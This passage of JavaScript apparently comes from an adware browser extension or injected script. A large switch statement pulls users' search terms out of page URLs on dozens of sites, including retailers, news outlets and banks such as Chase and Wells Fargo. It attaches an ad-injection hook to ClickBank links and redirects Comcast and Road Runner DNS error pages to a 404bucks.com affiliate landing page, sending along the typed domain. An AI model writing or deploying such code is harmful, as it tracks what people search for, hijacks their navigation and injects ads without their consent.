if (m !== null) {
isBestBuy = true;
escapedTerm = m[3];
term = unescape(m[3]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.bestbuy\.[a-z\.]+\/site\/searchpage.jsp(;.*)?\?(.+&)?st=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[3];
term = unescape(m[3]);
return;
}
break;
case 'shopzilla':
m = href.match(/^https?:\/\/www\.shopzilla\.[a-z\.]+\/([^\/]*).*/)
if (m !== null) {
isShopzilla = true;
escapedTerm = m[1];
term = unescape(m[1]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.shopzilla\.[a-z\.]+\/[a-z\-]+\/(.+)(\/|$)/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'pronto':
m = href.match(/^https?:\/\/www\.pronto\.[a-z\.]+\/shop\/(.+)(\/|$)/)
if (m !== null) {
isPronto = true;
escapedTerm = m[1];
term = unescape(m[1]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.pronto\.[a-z\.]+\/shop\/(.+)(\/|$)/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'macys':
m = href.match(/^https?:\/\/www[0-9]?\.macys\.[a-z\.]+\/search\/index.ognc\?(.+&)?Keyword=([^&]*).*$/)
if (m !== null) {
isMacys = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = ref.match(/^https?:\/\/www[0-9]?\.macys\.[a-z\.]+\/search\/index.ognc\?(.+&)?Keyword=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www[0-9]?\.macys\.[a-z\.]+\/.*\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isMacys = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
break;
case 'homedepot':
m = href.match(/^https?:\/\/www\.homedepot\.[a-z\.]+\/webapp\/.*\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isHomeDepot = true;
escapedTerm = m[2];
term = unescape(m[2]);
isShop = true;
return;
}
m = href.match(/^https?:\/\/www\.homedepot\.[a-z\.]+\/s\/(.*?)\?.*$/)
if (m !== null) {
isHomeDepot = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = unescape(term);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.homedepot\.[a-z\.]+\/webapp\/catalog\/servlet\/Search\/?\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'lowes':
m = href.match(/^https?:\/\/www\.lowes\.[a-z\.]+\/(.*?)\?(.+&)?UserSearch=([^&]*).*$/);
if (m !== null) {
isLowes = true;
escapedTerm = m[3];
term = unescape(m[3]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.lowes\.[a-z\.]+\/SearchCatalogDisplay\/?\?(.+&)?Ntt=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.lowes\.[a-z\.]+\/Search=([^&]*)\?.*$/)
if (m !== null) {
isLowes = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'shopping':
m = href.match(/^https?:\/\/www\.shopping\.[a-z\.]+\/.*\/products\/?\?(.+&)?KW=([^&]*).*$/)
if (m !== null) {
isShopping = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = ref.match(/^https?:\/\/www\.shopping\.[a-z\.]+\/.*\/products\/?\?(.+&)?KW=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'kmart':
m = href.match(/^https?:\/\/www\.kmart\.[a-z\.]+\/shc\/s\/search[0-9_]*\/?\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isKmart = true;
escapedTerm = m[2];
term = unescape(m[2]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.kmart\.[a-z\.]+\/shc\/s\/search[0-9_]*\/?\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.kmart\.[a-z\.]+\/search=([^?]*).*$/)
if (m !== null) {
isKmart = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'jcpenney':
m = href.match(/^https?:\/\/www\.jcpenney\.[a-z\.]+\/jcp\/XGN.aspx\?(.+&)?SearchString=([^&]*).*$/)
if (m !== null) {
isJcPenny = true;
escapedTerm = m[2];
term = unescape(m[2]);
isShop = true;
return;
}
m = href.match(/^https?:\/\/www\.jcpenney\.[a-z\.]+\/(.*?)\/results.jsp\?(.+&)?Ntt=([^&]*).*$/)
if (m !== null) {
isJcPenny = true;
escapedTerm = m[3];
term = unescape(m[3]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.jcpenney\.[a-z\.]+\/dotcom\/jsp\/search\/results.jsp\?(.+&)?Ntt=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'sears':
m = href.match(/^https?:\/\/www\.sears\.[a-z\.]+\/shc\/s\/[0-9_ a-z A-Z %]*\/?\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
isSears = true;
escapedTerm = m[2];
term = unescape(m[2]);
isShop = true;
return;
}
m = ref.match(/^https?:\/\/www\.sears\.[a-z\.]+\/shc\/s\/[0-9_ a-z A-Z %]*\/?\?(.+&)?keyword=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.sears\.[a-z\.]+\/search=([^?]*).*$/)
if (m !== null) {
isSears = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'walmart':
m = href.match(/^https?:\/\/www\.walmart\.[a-z\.]+\/search\/search-ng\.do\?(.+&)?search_query=([^&]*).*$/)
if (m !== null) {
isWalmart = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = ref.match(/^https?:\/\/www\.walmart\.[a-z\.]+\/search\/search-ng\.do\?(.+&)?search_query=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'staples':
m = href.match(/^https?:\/\/www\.staples\.[a-z\.]+\/office\/supplies\/StaplesSearch\?(.+&)?searchkey=([^&]*).*$/)
if (m !== null) {
isStaples = true;
escapedTerm = m[2];
term = unescape(m[2]);
isSearch = true;
return;
}
m = ref.match(/^https?:\/\/www\.staples\.[a-z\.]+\/office\/supplies\/StaplesSearch\?(.+&)?searchkey=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.staples\.[a-z\.]+\/(.*?)\/.*$/)
if (m !== null) {
isStaples = true;
escapedTerm = m[1];
term = unescape(m[1]);
isSearch = true;
return;
}
break;
case 'youtube':
m = href.match(/^https?:\/\/www\.youtube\.[a-z\.]+\/results\?search_query=([^&]*).*$/)
if(m !== null) {
isYoutube = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
if(jQuery('#masthead-search-term').val() != '')
{
isYoutube = true;
escapedTerm = jQuery('#masthead-search-term').val();
term = unescape(escapedTerm);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'wikipedia':
m = href.match(/^https?:\/\/en\.wikipedia\.[a-z\.]+\/wiki\/(.*)$/)
if(m !== null) {
m[1] = m[1].replace("_", " ");
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'live':
m = href.match(/^https?:\/\/[a-z]+\.live.com\/search\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'go':
m = href.match(/^https?:\/\/disney\.go\.com\/search\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isGoD = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/[a-z\.]+\.go\.com\/([^&]*)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace("-", " ");
return;
}
m = href.match(/^https?:\/\/[a-z\.]+\.go\.com\/search\?(.+&)?searchtext=([^&]*).*$/)
if (m !== null) {
isGo = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'netflix':
m = href.match(/^https?:\/\/[a-z]+\.netflix\.com\/Search\?(.+&)?oq=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'nextag':
m = href.match(/^https?:\/\/[a-z]+\.nextag\.com\/(.*?)\/.*$/)
if (m !== null) {
isNextag = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'huffingtonpost':
m = href.match(/^https?:\/\/[a-z]+\.huffingtonpost\.com\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'apple':
m = href.match(/^https?:\/\/www\.apple\.com\/search\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'bankofamerica':
m = href.match(/^https?:\/\/www[1-9]+\.bankofamerica\.com\/search\/Search.do\?(.+&)?questionbox=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'imdb':
m = href.match(/^https?:\/\/www\.imdb\.com\/find\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace("+", " ");
return;
}
break;
case 'chase':
m = href.match(/^https?:\/\/www\.chase\.com\/ccp\/index.jsp\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'nytimes':
m = href.match(/^https?:\/\/[a-z]+\.nytimes\.com\/search\/sitesearch\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'imgur':
m = href.match(/^https?:\/\/imgur\.com\/(.*?)\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isImgur = true;
escapedTerm = m[3];
term = unescape(m[3]);
return;
}
break;
case 'babylon':
m = href.match(/^https?:\/\/[a-z]+\.babylon\.com\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isBabylon = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'microsoft':
m = href.match(/^https?:\/\/[a-z]+\.microsoft\.com\/en-us\/results.aspx\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isMicrosoft = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'flickr':
m = href.match(/^https?:\/\/www\.flickr\.com\/search\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'wellsfargo':
m = href.match(/^https?:\/\/www\.wellsfargo\.com\/search\/search\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'comcast':
m = href.match(/^https?:\/\/[a-z]+\.comcast\.net\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isComcast = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/errorpage\.comcast\.[a-z\.]+\/\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isRr = true;
window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+unescape(m[2]);
return;
}
break;
case 'foxnews':
m = href.match(/^https?:\/\/www\.foxnews\.com\/search-results\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isFoxnews = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'yelp':
m = href.match(/^https?:\/\/www\.yelp\.com\/search\?(.+&)?find_desc=([^&]*).*$/)
if (m !== null) {
isYelp = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'etsy':
m = href.match(/^https?:\/\/www\.etsy\.com\/search\/handmade\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isEtsy = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.etsy\.com\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isEtsy = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'reddit':
m = href.match(/^https?:\/\/www\.reddit\.com\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'ehow':
m = href.match(/^https?:\/\/www\.ehow\.com\/search\.html\?(.+&)?s=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'cnet':
m = href.match(/^https?:\/\/www\.cnet\.com\/[a-z \-_ 0-9]+\.html\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isCnet = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'mywebsearch':
m = href.match(/^https?:\/\/[a-z]+\.mywebsearch\.com\/mywebsearch\/[a-zA-Z \. 0-9]+\?(.+&)?searchfor=([^&]*).*$/)
if (m !== null) {
isMws = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'ups':
m = href.match(/^https?:\/\/www\.ups\.com\/search\/quick\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isUps = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'adobe':
m = href.match(/^https?:\/\/www\.adobe\.com\/cfusion\/search\/index.cfm\?(.+&)?term=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'usps':
m = href.match(/^https?:\/\/www\.usps\.com\/search\.htm\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isUsps = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'reference':
m = href.match(/^https?:\/\/[a-z]+\.reference\.com\/browse\/(.*?)\?.*$/)
if (m !== null) {
isReference = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'att':
m = href.match(/^https?:\/\/[a-z]+\.att\.com\/global-search\/search.jsp\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isAtt = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'washingtonpost':
m = href.match(/^https?:\/\/www\.washingtonpost\.com\/newssearch\/search\.html\?(.+&)?st=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'intuit':
m = href.match(/^https?:\/\/www\.intuit\.com\/search\/small\-business\.jsp\?(.+&)?searchTerm=([^&]*).*$/)
if (m !== null) {
isIntuit = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'constantcontact':
m = href.match(/^https?:\/\/www\.constantcontact\.com\/search\/index\.jsp\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'warriorforum':
m = href.match(/^https?:\/\/www\.warriorforum\.com\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/-/g, " ");
return;
}
break;
case 'rr':
m = href.match(/^https?:\/\/[a-z]+\.rr\.com\/web\?\#(.+&)?q=([^&]*).*$/)
if (m !== null) {
isRr = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace("+", " ");
return;
}
m = href.match(/^https?:\/\/dnssearch\.rr\.[a-z\.]+\/index\.php\?(.+&)?origURL=([^&]*).*$/);
if (m !== null) {
isRr = true;
window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+unescape(m[2]);
return;
}
break;
case 'co':
m = href.match(/^https?:\/\/www\.bbc\.co\.uk\/search\/([^&]*)$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
m = href.match(/^https?:\/\/www\.dailymail\.co\.uk\/home\/search\.html\?(.+&)?searchPhrase=([^&]*).*$/)
if (m !== null) {
isDailymail = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'indeed':
m = href.match(/^https?:\/\/www\.indeed\.com\/jobs\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isIndeed = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'photobucket':
m = href.match(/^https?:\/\/photobucket\.com\/images\/([^&]*)\/$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'usatoday':
m = href.match(/^https?:\/\/www\.usatoday\.com\/search\/results\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isUsa = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'wsj':
m = href.match(/^https?:\/\/[a-z]+\.wsj\.com\/search\/term\.html\?(.+&)?KEYWORDS=([^&]*).*$/)
if (m !== null) {
isWsj = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'thepiratebay':
m = href.match(/^https?:\/\/thepiratebay\.se\/search\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'verizonwireless':
m = href.match(/^https?:\/\/[a-z]+\.verizonwireless\.com\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'americanexpress':
m = href.match(/^https?:\/\/search\.americanexpress\.com\/app\/answers\/list\/search\/[a-z 0-9]+\/kw\/(.*?)$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'capitalone':
m = href.match(/^https?:\/\/www\.capitalone\.com\/search\/\?(.+&)?qt=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'latimes':
m = href.match(/^https?:\/\/www\.latimes\.com\/search\/dispatcher\.front\?(.+&)?Query=([^&]*).*$/)
if (m !== null) {
isLatimes = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'zillow':
m = href.match(/^https?:\/\/www\.zillow\.com\/homes\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/-/g, " ");
term = term.replace(/_rb/g, "");
return;
}
break;
case 'newegg':
m = href.match(/^https?:\/\/www\.newegg\.com\/Product\/ProductList\.aspx\?(.+&)?Description=([^&]*).*$/)
if (m !== null) {
isNewegg = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'irs':
m = href.match(/^https?:\/\/search\.irs\.gov\/web\/query\.html\?(.+&)?qt=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'tmz':
m = href.match(/^https?:\/\/www\.tmz\.com\/search\/articles\/(.*?)\/.*$/)
if (m !== null) {
isTmz = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'myspace':
m = href.match(/^https?:\/\/www\.myspace\.com\/search\/(.*?)\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isMyspace = true;
escapedTerm = m[3];
term = unescape(m[3]);
return;
}
break;
case 'fiverr':
m = href.match(/^https?:\/\/fiverr\.com\/gigs\/search\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isFiverr = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'forbes':
m = href.match(/^https?:\/\/search\.forbes\.com\/search\/find\?(.+&)?MT=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'allrecipes':
m = href.match(/^https?:\/\/allrecipes\.com\/recipe\/(.*?)\/.*$/)
if (m !== null) {
isAllrecipes = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/-/g, " ");
return;
}
m = href.match(/^https?:\/\/allrecipes\.com\/search\/default\.aspx\?(.+&)?wt=([^&]*).*$/)
if (m !== null) {
isAllrecipes = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'nba':
m = href.match(/^https?:\/\/www\.nba\.com\/search\/\?(.+&)?text=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'foxsports':
m = href.match(/^https?:\/\/msn\.foxsports\.com\/search\?(.+&)?sp_q=([^&]*).*$/)
if (m !== null) {
isFoxsports = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'deviantart':
m = href.match(/^https?:\/\/[a-z]+\.deviantart\.com\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isDevart = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'cbssports':
m = href.match(/^https?:\/\/www\.cbssports\.com\/info\/search\#(.+&)?q=([^&]*).*$/)
if (m !== null) {
isCbssports = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'shopathome':
m = href.match(/^https?:\/\/search\.shopathome\.com\/sr\.aspx\?(.+&)?sf=([^&]*).*$/)
if (m !== null) {
isShopathome = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/search\.shopathome\.com\/search\?(.+&)?w=([^&]*).*$/);
if (m !== null) {
isShopathome = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.shopathome\.com\/(.*?)\?(.+&)?w=([^&]*).*$/);
if (m !== null) {
isShopathome = true;
escapedTerm = m[3];
term = unescape(m[3]);
return;
}
break;
case 'slickdeals':
m = href.match(/^https?:\/\/slickdeals\.net\/newsearch\.php\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isSlickdeals = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'verizon':
m = href.match(/^https?:\/\/search\.verizon\.com\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isVerizon = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'stackoverflow':
m = href.match(/^https?:\/\/stackoverflow\.com\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/stackoverflow\.com\/questions\/[a-z 0-9]+\/(.*?)$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/-/g, " ");
return;
}
break;
case 'squidoo':
m = href.match(/^https?:\/\/www\.squidoo\.com\/search\/results\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isSquidoo = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.split('#');
term = term[0];
return;
}
break;
case 'mashable':
m = href.match(/^https?:\/\/mashable\.com\/follow\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/mashable\.com\/[0-9]+\/[0-9]+\/[0-9]+\/(.*?)\/$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/-/g, " ");
return;
}
break;
case 'kohls':
m = href.match(/^https?:\/\/www\.kohls\.com\/upgrade\/webstore\/(.*?)$/)
if (m !== null) {
isKohls = true;
var termText = jQuery('.searchbar').find('strong');
term = jQuery(termText[1]).html();
escapedTerm = term;
return;
}
m = href.match(/^https?:\/\/www\.kohls\.com\/search.jsp\?search=([^&]*).*$/)
if (m !== null) {
isKohls = true;
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
m = href.match(/^https?:\/\/www\.kohls\.com\/search.jsp(.+&)?search=([^&]*).*$/)
if (m !== null) {
isKohls = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'careerbuilder':
m = href.match(/^https?:\/\/www\.careerbuilder\.com\/Jobseeker\/Jobs\/JobResults\.aspx\?(.+\%3)?As_rawwords=([^&]*).*$/)
if (m !== null) {
isCbuilder = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'people':
m = href.match(/^https?:\/\/search\.people\.com\/results\.html\?(.+&)?Ntt=([^&]*).*$/)
if (m !== null) {
isPeople = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'usbank':
m = href.match(/^https?:\/\/www\.usbank\.com\/search\/(.*)$/)
if (m !== null) {
escapedTerm = jQuery('.searchField').val();
term = escapedTerm;
return;
}
break;
case 'gap':
m = href.match(/^https?:\/\/[a-z]+\.gap\.com\/browse\/search\.do\?(.+&)?searchText=([^&]*).*$/)
if (m !== null) {
isGap = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'monster':
m = href.match(/^https?:\/\/[a-z]+\.monster\.com\/search\/(.*?)$/)
if (m !== null) {
isMonster = true;
escapedTerm = m[1];
term = unescape(m[1]);
terms = term.split("_");
term = terms[0].replace(/-/g, " ");
return;
}
break;
case 'meetup':
m = href.match(/^https?:\/\/[a-z]+\.meetup\.com\/find\/\?(.+&)?keywords=([^&]*).*$/)
if (m !== null) {
isMeetup = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'webmd':
m = href.match(/^https?:\/\/www\.webmd\.com\/search\/search\_results\/default\.aspx\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isWebmd = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.webmd\.com\/(.*?)\/.*$/)
if (m !== null) {
isWebmd = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/-/g, " ");
return;
}
break;
case 'trulia':
m = href.match(/^https?:\/\/[a-z]+\.trulia\.com\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/_/g, " ");
return;
}
break;
case 'clickbank':
m = href.match(/^https?:\/\/www\.clickbank\.com\/buy_products\.htm\?(.*?)$/)
if (m !== null) {
term = jQuery('#mainCategoryTitle').html();
var links = jQuery('#category_accordion a').each(function(i) {
jQuery(this).click(function() {
injectAds();
});
});
return;
}
break;
case 'reuters':
m = href.match(/^https?:\/\/www\.reuters\.com\/search\?(.+&)?blob=([^&]*).*$/)
if (m !== null) {
isReuters = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'ca':
m = href.match(/^https?:\/\/ca\.gov\/[a-z A-Z]+\/Default\.aspx\?(.+&)?search=([^&]*).*$/)
if (m !== null) {
isCa = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'nih':
m = href.match(/^https?:\/\/[a-z 0-9]+\.google\.[a-z]+\.nih\.gov\/search\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isNih = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'realtor':
m = href.match(/^https?:\/\/www\.realtor\.com\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
return;
}
break;
case 'manta':
m = href.match(/^https?:\/\/www\.manta\.com\/mb\?(.+&)?search=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'quickmeme':
m = href.match(/^https?:\/\/www\.quickmeme\.com\/search\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
m = href.match(/^https?:\/\/www\.quickmeme\.com\/(.*?)\/.*$/)
if (m !== null) {
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\-/g, " ");
return;
}
break;
case 'cbslocal':
m = href.match(/^https?:\/\/[a-z]+\.cbslocal\.com\/search\/\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
escapedTerm = m[2];
term = unescape(m[2]);
return;
}
break;
case 'ign':
m = href.match(/^https?:\/\/www\.ign\.com\/search\/product\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isIgn = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
m = href.match(/^https?:\/\/www\.ign\.com\/search\?(.+&)?q=([^&]*).*$/);
if (m !== null) {
isIgn = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'whitepages':
m = href.match(/^https?:\/\/www\.whitepages\.com\/business\?(.+&)?key=([^&]*).*$/)
if (m !== null) {
isWpages = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'mlb':
m = href.match(/^https?:\/\/[a-z]+\.mlb\.com\/search\/\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isMlb = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
break;
case 'retailmenot':
m = href.match(/^https?:\/\/www\.retailmenot\.com\/search\/\?(.+&)?query=([^&]*).*$/)
if (m !== null) {
isRetailmenot = true;
escapedTerm = m[2];
term = unescape(m[2]);
term = term.replace(/\+/g, " ");
return;
}
m = href.match(/^https?:\/\/www\.retailmenot\.com\/s\/(.*)$/)
if (m !== null) {
isRetailmenot = true;
escapedTerm = m[1];
term = unescape(m[1]);
term = term.replace(/\+/g, " ");
return;
}
m = href.match(/^https?:\/\/www\.retailmenot\.com\/view\/(.*?)$/)
if (m !== null) {
isRetailmenot = true;
escapedTerm = m[1];
term = unescape(m[1])+" coupons";
return;
}
break;
case 'nydailynews':
m = href.match(/^https?:\/\/www\.nydailynews\.com\/search\-results\/[a-z 0-9 \.\-\_]+\?(.+&)?q=([^&]*).*$/)
if (m !== null) {
isNydaily = true;
escapedTerm = m[2];
term = unescape(m[2]);
return;
